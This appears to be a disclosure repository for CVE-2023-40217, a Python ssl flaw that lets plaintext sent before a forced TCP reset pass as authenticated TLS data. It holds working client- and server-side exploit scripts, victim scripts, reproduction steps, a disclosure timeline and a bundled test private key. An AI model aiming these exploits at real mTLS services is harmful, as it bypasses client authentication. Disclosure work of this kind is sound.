└── CVE-2023-40217 ├── README.md ├── openssl-generate-certs.sh ├── python-ssl-client-exploit.py ├── python-ssl-client-victim.py ├── python-ssl-server-exploit.py ├── python-ssl-server-victim.py ├── server.crt └── server.key /CVE-2023-40217/README.md: -------------------------------------------------------------------------------- 1 | # Summary 2 | 3 | Python ssl library in Python before 3.8.18, 3.9.x before 3.9.18, 3.10.x before 3.10.13, and 3.11.x before 3.11.5 did not properly handle a case where the TCP connection was terminated before a TLS handshake was made. This caused the library to return a ssl.SSLSocket object with TCP data in its buffer. An application could then read this data from the SSLSocket as it would be post-handshake TLS encrypted data. 4 | 5 | An attacker could exploit this vulnerability by connecting to a TLS server, sending payload data to the socket and immediately force close the socket. The TLS server would then assume that the TLS handshake and any client authentication was done and read the attacker supplied data. The vulnerability affects mostly mTLS Python implementations. 6 | 7 | The vulnerability severity is CVSS is 8.6 HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N) 8 | 9 | The exploit can be triggered reliably by sending TCP data to a Python SSLSocket followed directly by a RST packet. This can be implemented with Python with the following code: 10 | 11 | ```python 12 | import socket 13 | import struct 14 | 15 | # Connect to a server with TCP 16 | upstream_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) 17 | upstream_socket.connect(('127.0.0.1', 12345)) 18 | # Exploit part 1: set the socket to be killed immediately when closed 19 | upstream_socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) 20 | upstream_socket.setblocking(False) 21 | 22 | # Exploit part 2: Send malicious data instead of TLS handshake and immediately force close the connection 23 | data = b"exploit by aapo" 24 | upstream_socket.send(data) 25 | upstream_socket.close() 26 | ``` 27 | 28 | The ```socket.setsockopt()``` and ```socket.setblocking()``` options ensure that the socket is not closed gracefully but is forcibly terminated when ```socket.close()``` is called. 29 | 30 | # Reproduction 31 | 32 | 1. Run a basic Python ssl server with a vulnerable Python version 33 | 34 | ```console 35 | $ python3 --version 36 | Python 3.7.3 37 | $ python3 python-ssl-server-victim.py 38 | ``` 39 | 40 | 2. Connect to the server with a standard TLS client 41 | 42 | ```console 43 | $ openssl s_client -connect 127.0.0.1:12345 44 | ``` 45 | 46 | 3. Observe that the server does not accept the connection as the client does not have a proper client certificate 47 | 48 | ```console 49 | $ python3 --version 50 | Python 3.7.3 51 | $ python3 python-ssl-server-victim.py 52 | Traceback (most recent call last): 53 | File "python-ssl-server-victim.py", line 18, in 54 | tls_socket = ctx.wrap_socket(conn, server_side=True) 55 | File "/usr/lib/python3.7/ssl.py", line 412, in wrap_socket 56 | session=session 57 | File "/usr/lib/python3.7/ssl.py", line 853, in _create 58 | self.do_handshake() 59 | File "/usr/lib/python3.7/ssl.py", line 1117, in do_handshake 60 | self._sslobj.do_handshake() 61 | ssl.SSLError: [SSL: PEER_DID_NOT_RETURN_A_CERTIFICATE] peer did not return a certificate (_ssl.c:1056) 62 | ``` 63 | 64 | 4. Restart the server and connect to it with the exploit POC 65 | 66 | ```console 67 | $ python3 python-ssl-client-exploit.py 68 | ``` 69 | 70 | 5. Observe that the server prints out the attacker chosen payload 71 | 72 | ```console 73 | $ python3 --version 74 | Python 3.7.3 75 | $ python3 python-ssl-server-victim.py 76 | b'exploit by aapo' 77 | ``` 78 | 79 | 6. If the same server code is run with patched Python version, the exploit will not work 80 | 81 | ```console 82 | $ python3.13 --version 83 | Python 3.13.0a0 84 | $ python3.13 python-ssl-server-victim.py 85 | Traceback (most recent call last): 86 | File "/usr/local/lib/python3.13/ssl.py", line 992, in _create 87 | self.getpeername() 88 | OSError: [Errno 107] Transport endpoint is not connected 89 | 90 | During handling of the above exception, another exception occurred: 91 | 92 | Traceback (most recent call last): 93 | File "python-ssl-server-victim.py", line 18, in 94 | tls_socket = ctx.wrap_socket(conn, server_side=True) 95 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 96 | File "/usr/local/lib/python3.13/ssl.py", line 455, in wrap_socket 97 | return self.sslsocket_class._create( 98 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 99 | File "/usr/local/lib/python3.13/ssl.py", line 1024, in _create 100 | raise notconn_pre_handshake_data_error 101 | ssl.SSLError: Closed before TLS handshake with data in recv buffer. 102 | ``` 103 | 104 | 7. The vulnerability can be used also from the server side if the client reads data before sending any 105 | 106 | ```console 107 | $ python3 python-ssl-server-exploit.py 108 | ``` 109 | 110 | ```console 111 | $ python3 python-ssl-client-victim.py 112 | b'exploit by aapo' 113 | ``` 114 | 115 | # Additional Materials 116 | 117 | * Detailed advisory made together with the Python security team: [https://mail.python.org/archives/list/security-announce@python.org/thread/PEPLII27KYHLF4AK3ZQGKYNCRERG4YXY/](https://mail.python.org/archives/list/security-announce@python.org/thread/PEPLII27KYHLF4AK3ZQGKYNCRERG4YXY/) 118 | * GitHub issue for the vulnerability [https://github.com/python/cpython/issues/108310](https://github.com/python/cpython/issues/108310) 119 | * Seth Larson's detailed writeup from the Python Security Response Team perspective [https://sethmlarson.dev/security-developer-in-residence-weekly-report-8](https://sethmlarson.dev/security-developer-in-residence-weekly-report-8) 120 | 121 | # Timeline 122 | 123 | * August 8,2023: Reported by Aapo Oksman to security@python.org. 124 | * August 8, 2023: Acknowledged the report. 125 | * August 9, 2023: Acknowledgement of the vulnerability, sent CVE ID request to MITRE. 126 | * August 10, 2023: CVE-2023-40217 assigned by MITRE. 127 | * August 15, 2023: Patch authored by Gregory P Smith, reviewed by Thomas Wouters. 128 | * August 22, 2023: Patch applied to feature and security branches by Łukasz Langa. 129 | * August 24, 2023: Python 3.11.5, 3.10.13, 3.9.18, 3.8.18 are published containing the fix for CVE-2023-40217. 130 | * August 24, 2023: Advisory published. 131 | -------------------------------------------------------------------------------- /CVE-2023-40217/openssl-generate-certs.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | openssl req -subj '/CN=Aapo Oksman' -new -newkey rsa:2048 -sha256 -days 365 -nodes -x509 -keyout server.key -out server.crt 3 | -------------------------------------------------------------------------------- /CVE-2023-40217/python-ssl-client-exploit.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | 4 | # Connect to a server with TCP 5 | upstream_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) 6 | upstream_socket.connect(('127.0.0.1', 12345)) 7 | # Exploit part 1: set the socket to be killed immediately when closed 8 | upstream_socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) 9 | upstream_socket.setblocking(False) 10 | 11 | # Exploit part 2: Send malicious data instead of TLS handshake and immediately force close the connection 12 | data = b"exploit by aapo" 13 | upstream_socket.send(data) 14 | upstream_socket.close() 15 | -------------------------------------------------------------------------------- /CVE-2023-40217/python-ssl-client-victim.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import ssl 3 | 4 | # Connect to a server with TCP 5 | upstream_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) 6 | upstream_socket.connect(('127.0.0.1', 12345)) 7 | 8 | # Wrap the TCP connection with TLS default context that checks the server certificate 9 | ctx = ssl.create_default_context() 10 | tls_socket = ctx.wrap_socket(upstream_socket, server_hostname="ssl-exploit-test") 11 | 12 | # Receive data from the authenticated and secure TLS connection 13 | print(tls_socket.recv(4096)) 14 | 15 | -------------------------------------------------------------------------------- /CVE-2023-40217/python-ssl-server-exploit.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | 4 | # Listen for TCP connections 5 | listener = socket.socket() 6 | listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 7 | # Exploit part 1: set the socket to be killed immediately when closed 8 | listener.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) 9 | # Continue normal TCP listener stuff 10 | listener.bind(("127.0.0.1", 12345)) 11 | listener.listen(5) 12 | conn, address = listener.accept() 13 | 14 | # Exploit part 2: Send malicious data instead of TLS handshake and immediately force close the connection 15 | data = b"exploit by aapo" 16 | conn.send(data) 17 | conn.close() 18 | -------------------------------------------------------------------------------- /CVE-2023-40217/python-ssl-server-victim.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import ssl 3 | 4 | # Listen for TCP connections 5 | listener = socket.socket() 6 | listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 7 | listener.bind(("127.0.0.1", 12345)) 8 | listener.listen(5) 9 | conn, address = listener.accept() 10 | 11 | # Create a TLS context that checks the client certificate 12 | ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) 13 | ctx.verify_mode = ssl.CERT_REQUIRED 14 | ctx.load_verify_locations(cafile="server.crt") 15 | ctx.load_cert_chain(certfile="server.crt", keyfile="server.key") 16 | 17 | # Wrap the TCP connection with TLS 18 | tls_socket = ctx.wrap_socket(conn, server_side=True) 19 | 20 | # Receive data from the authenticated and secure TLS connection 21 | print(tls_socket.recv(4096)) 22 | -------------------------------------------------------------------------------- /CVE-2023-40217/server.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDDTCCAfWgAwIBAgIURKBB/2YORxHLeWPejkGOd4ZRpQUwDQYJKoZIhvcNAQEL 3 | BQAwFjEUMBIGA1UEAwwLQWFwbyBPa3NtYW4wHhcNMjMwODI3MTQwMjE2WhcNMjQw 4 | ODI2MTQwMjE2WjAWMRQwEgYDVQQDDAtBYXBvIE9rc21hbjCCASIwDQYJKoZIhvcN 5 | AQEBBQADggEPADCCAQoCggEBAMtOu1GYCX3bnjOJFWC0NDTpDXed/YVMGTT4dmx8 6 | JCQy9Sk6msLnZUqEMD4mD14u4s5QbXbNzzRrZyhod7Vm4sc0IHX/VznvKPAS2qKg 7 | meFxFMjDgA2dEbiMZe8EsS7MP3ax3R9yR/lWlJ5DlvVHbEACxpPhFihxNvgDTq1y 8 | TQ0P4b+pr5Tsn6N3jV1+hwKBlAHDJ6LSdzmT0UwxK2h3qbM8V4DTpAEy+laW4deY 9 | 0XtysG8nSDVTGds0NA3WRAC3DCG8jNDZZ1AOS6Bv6cqHCWgghezOpuTX310U8nNJ 10 | 6JEx11eBooLhBHJElTVBN16mFTYMey3p99YUK4LViDkITjcCAwEAAaNTMFEwHQYD 11 | VR0OBBYEFCPunX+OOw9zaIjLvsu8NwCUfbhRMB8GA1UdIwQYMBaAFCPunX+OOw9z 12 | aIjLvsu8NwCUfbhRMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEB 13 | AGRvt1VSoxdcmQDBVcRCsQBf5N9FUU6tMlLe0OGmg5Z0FXqrjOjAhao1dtvenrM1 14 | HFCasO6cCYaWsuDS6TlP5SymOxc7eJipEQf/cluXv6DnfcMCWdZIBBIJ6CtSFmG8 15 | XVQ6WT0gjC/FevAIAGnrrtG6HErBkByVnpksKU16LPJze3Y2v8ijECoMAfq8qYf5 16 | 1vYuPcjUTBdZM/NdizIp8mSraC7RKdjmn5ihWMzERiCR0fzEljaXGFMQacxjXwBF 17 | UHorf4jNx2HySrMF4PuaX0fB+Cu/seqXzWYvAtGnETFpd/BopkaPJfCxsnKcP1yN 18 | AOq7hwni0GO0skYeagyGTtQ= 19 | -----END CERTIFICATE----- 20 | -------------------------------------------------------------------------------- /CVE-2023-40217/server.key: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDLTrtRmAl9254z 3 | iRVgtDQ06Q13nf2FTBk0+HZsfCQkMvUpOprC52VKhDA+Jg9eLuLOUG12zc80a2co 4 | aHe1ZuLHNCB1/1c57yjwEtqioJnhcRTIw4ANnRG4jGXvBLEuzD92sd0fckf5VpSe 5 | Q5b1R2xAAsaT4RYocTb4A06tck0ND+G/qa+U7J+jd41dfocCgZQBwyei0nc5k9FM 6 | MStod6mzPFeA06QBMvpWluHXmNF7crBvJ0g1UxnbNDQN1kQAtwwhvIzQ2WdQDkug 7 | b+nKhwloIIXszqbk199dFPJzSeiRMddXgaKC4QRyRJU1QTdephU2DHst6ffWFCuC 8 | 1Yg5CE43AgMBAAECggEBAMqv5m4VLjlMjy7/1tE/NuEdCzEa0Jpo4KR/pMjJBtsT 9 | 9nixFYOEX+ZnXRVIqn+SLMnVQxxzWMUA4qpVZCr0tNg2brpU42g9t8mIcnI5vNAW 10 | BcuVpH9t/THIvwMI4YAvXoH+Ft5396tsFuSlq8VC/HfgjIr3lzigjlW6LmEbGBgQ 11 | 2HVorM/Zzo2MedKDS2oWe6tmiOcAOxKahrwOGR7s8WHJrQiEcqYsSQ8bhpPBaOld 12 | 6FkKPkGWXDB2UvMEwMGsC3xXwfu/7JJ+TvORQUVbXwib/lLGQjjAJOicXlfjRHKK 13 | YlLyS9Y0+NRDnwaEAtTF3Habn+eVKs71pRA8XF+H6WECgYEA/9UqOM8nsPapEBNx 14 | wWKdEDANgtWxDfZQxKgIzYOM0Vpbxx8FDcfQtRWkIrlyBqtOu5IFyjSGTe7BEuNr 15 | amjkw1lNhxfOqnjLXqMkJs5ysUwekJLAxrOK6nA9wIK9f6gyZ7BjlZybN6xUnVty 16 | zQsMof+6GpRSOUK8LO+ZZOiB5ccCgYEAy3DFtSe8d7D1sGPIqMAQoFoBY2C9BSab 17 | LM6UgsiRvsdFUeIHx4QUZn1kJZWFmNeE33yQ1kKTT3XgcbqzTiP+cfQMrvQVug+u 18 | 53sjYMEb3I/9FqIoV8U+mBnt97ACoXkoqtbLffCkDQChJEk1+nvgEN5n8tsTk3Gw 19 | YUIQnd/nlBECgYEAojo0Ge4Sxz7CmjUaT30PB/LQvoRvT+E/+lRrsJaYtzDLPgtH 20 | kyOADzR37qUVz3DV7k98aGrCN60MtcOMm9+EIPQCG4ZXQPZ0T8C37fu/8vnH7/l/ 21 | UQENN/iQ0ACX1dl8jQ/nNjommzkmNtqEg81b52ZYRv6C3ViaJwyQgtKFfIUCgYAT 22 | En92fEMu9WgTIUeuilMEtWtr5aXS1cu2Z6eEm0kOmZ/mDUqtabR/50F8RIhBy/Kp 23 | AQSTEaq9yE9CWj51FOrFxBtsS3W9+7pp+SFX8MKr6tPPS2R81gEIQWYN0nJssO8f 24 | FQP+ypCWp3hz7mkhEnvvGOql2eP77qyacZcdNeCAAQKBgQD737Zgs6Uaes9WHKoi 25 | p1cz3f3xa+SvJW6y7NTxcLUvfn+qOjJowvj1+QTU8Sz/1DJcAlrhJj+2F8N5tyZJ 26 | JrfnwZlD6uv9gzK5rEos49aENsa3fJH7gCp4wDFxuF62qwpAQocIsiHvIbbOxtiI 27 | v3ixlekNZdk2modpgqrsSNbZng== 28 | -----END PRIVATE KEY----- 29 | --------------------------------------------------------------------------------